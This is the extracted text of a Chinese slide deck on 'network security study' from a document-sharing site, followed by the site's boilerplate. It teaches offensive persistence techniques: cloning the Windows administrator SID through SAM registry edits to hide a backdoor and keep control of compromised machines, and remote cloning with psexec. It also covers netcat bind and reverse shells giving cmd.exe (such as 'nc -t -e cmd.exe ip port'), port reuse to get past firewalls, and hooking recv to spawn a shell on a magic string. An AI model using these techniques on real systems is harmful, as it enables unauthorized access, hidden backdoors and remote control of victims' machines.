《网络安全学习》PPT课件_第1页
《网络安全学习》PPT课件_第2页
《网络安全学习》PPT课件_第3页
《网络安全学习》PPT课件_第4页
《网络安全学习》PPT课件_第5页
已阅读5页,还剩40页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、网络安全学习,克隆用户 nc的使用 端口复用 zhouzhenest,克隆用户,克隆意义 克隆原理 克隆方法 常用工具 编程实现,克隆意义,实现用户权限 的隐藏 给自己留一个好的后门 保住肉鸡,克隆原理,参考:克隆管理员帐号的方法 http:/,Windows 2000和Windows NT里,默认管理员帐号的SID是固定的500(0 x1f4),那么我们可以用机器里已经存在的一个帐号将SID为500的帐号进行克隆,Administrator sid 0 x1f4 Guest sid 0 x1f5,SAM 键的权限,默认情况下SAM键的权限 修改SAM键的方法,HKEY_LOCAL_MACHI

2、NESAM Administrators 完全控制 System 完全控制 HKEY_LOCAL_MACHINESAMSAM Administrators 没有权限 System 完全控制,修改SAM键的方法,使用regedt32修改权限 (windows 2000) 以system的权限运行regedit,Regedt32 系统自带 以system权限运行应用程序 a 利用at来启动 b 使用工具psu.exe c 其他方法,具体操作,regedit /e 1f4.reg HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers000001F4 regedit

3、/e 1f5.reg HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers000001F5 将1f4.reg的000001f4改为000001f5,并把1f5.reg的v部分替换1f4.reg的v部分,导入修改后的1f4.reg,编程实现,权限问题的解决 注册表操作,解决权限,获取SAM主键的DACL GetNamedSecurityInfo(SamName, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL,将新的ACE加入DACL SetEntriesInAcl(1,注册表操作,RegOpenKe

4、yEx RegQueryValueEx RegSetValueEx,Clone.exe 配合psexec远程克隆,Psexec xx.xx.xx.xx -u administrator -p “” c clone.exe,Nc的使用,Nc 简介 Nc的使用 实战,Nc 简介,_/ / 0 0 =v= 瑞士军刀(Swiss Army knife) W / | | _ /_ / / / | (-)- / ( _ _.=|_E,Nc的使用,端口的刺探: nc -vv ip port,Nc的使用,监听本地端口 nc -vv -l -p port,Nc的使用,正向连接 nc -vv ip port,Nc

5、的使用,端口扫描 nc -vv -w 5 ip port-port port nc -vv -z ip port-port port,Nc的使用,文件传输 LOCAL: nc -v -n ip port y:svr.exe,Nc的高级用法,绑定cmd.exe 到指定端口 nc -l -p port -e cmd.exe,Nc的高级用法,Nc反向连接获得cmdshell nc -t -e cmd.exe ip port,Nc的高级用法,简单判断远程主机是否开放防火墙 nc -vv -l -p port,Nc的高级用法,Nc配合管道使用 nc -vv ip port data.txt nc -vv

6、 ip 80 data.txt,Nc的高级用法,端口复用 nc -vv -l -p 80 -e cmd.exe,Nc的高级用法,端口数据抓包 nc -vv -w 2 -o test.txt 80 21-15,实战,动网论坛前台提权漏洞,端口复用,意义和优势 常见的socket程序的安全隐患 实现方法 编程实现,意义和优势,突破防火墙的端口访问限制 可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探 对一些的特殊应用,可以发起中间人攻击,安全隐患,socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);saddr.sin_family = AF_INET;

7、saddr.sin_addr.s_addr =htonl(INADDR_ANY); bind(s,(SOCKADDR*,解决办法,int setsockopt( SOCKET s, int level, int optname, const char* optval, int optlen ); setsockopt(s,SOL_SOCKET, SO_EXCLUSIVEADDRUSE , (char*,实现方法,getpeername查找socket 字串匹配查找socket Hook系统的recv调用,getpeername查找socket,客户端在发送攻击串之前用getsockname函数

8、获得套接字本地信息 服务端从1开始递增查找socket,并且用getpeername函数获得套接字远程信息。 如果两个信息相符就认为找到socket,跳出递增循环,int getsockname( SOCKET s, struct sockaddr* name, int* namelen ); int getpeername( SOCKET s, struct sockaddr* name, int* namelen,Getpeername方法的局限性,有很大局限性,如果客户端在NAT网络环境里,客户端getsockname取得的套接字信息和服务端getpeername取得的套接字信息不一定相

9、符,导致查找socket失败,字串匹配查找socket,客户端在发送完攻击数据包后,再发送几个字节的字符串,在服务端的对一个递增的socket值接收相应字节的字符串,然后匹配是否是当前连接的socket。这种方法避免了getpeername在NAT网络环境里的限制。 多线程环境下容易处理到处于accept下的socket,一般的网络函数都会进入等待状态,直到有连接建立。flier提到WaitForSingleObjectEx处理这种处于accept的socket会返回WAIT_TIMEOUT,可用的句柄返回WAIT_OBJECT_0,查找流程,while (1) i+; ret = WaitF

10、orSingleObjectEx(i, 10, 1); if (ret != 0) continue; ret = ioctlsocket(i, FIONREAD, if( *(DWORD *)buff = Xc0n),Hook系统的recv调用,用VirtualProtect设置真实recv函数地址开始的5个字节可写。 把真实recv开始的指令改为跳转到新recv函数。 在新的recv函数里先把这5个字节指令改回去。 调用真实recv来执行系统本来的操作。 把真实recv函数地址开始的5个字节改为跳转新recv的指令。 比较接收的数据是否是约定字串,如果是就绑定一个cmd.exe,否则跳到压栈的返回地址,继续系统原来的流 程,编程实现,端口复用将服务重新绑定在地址,而且不能使用

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论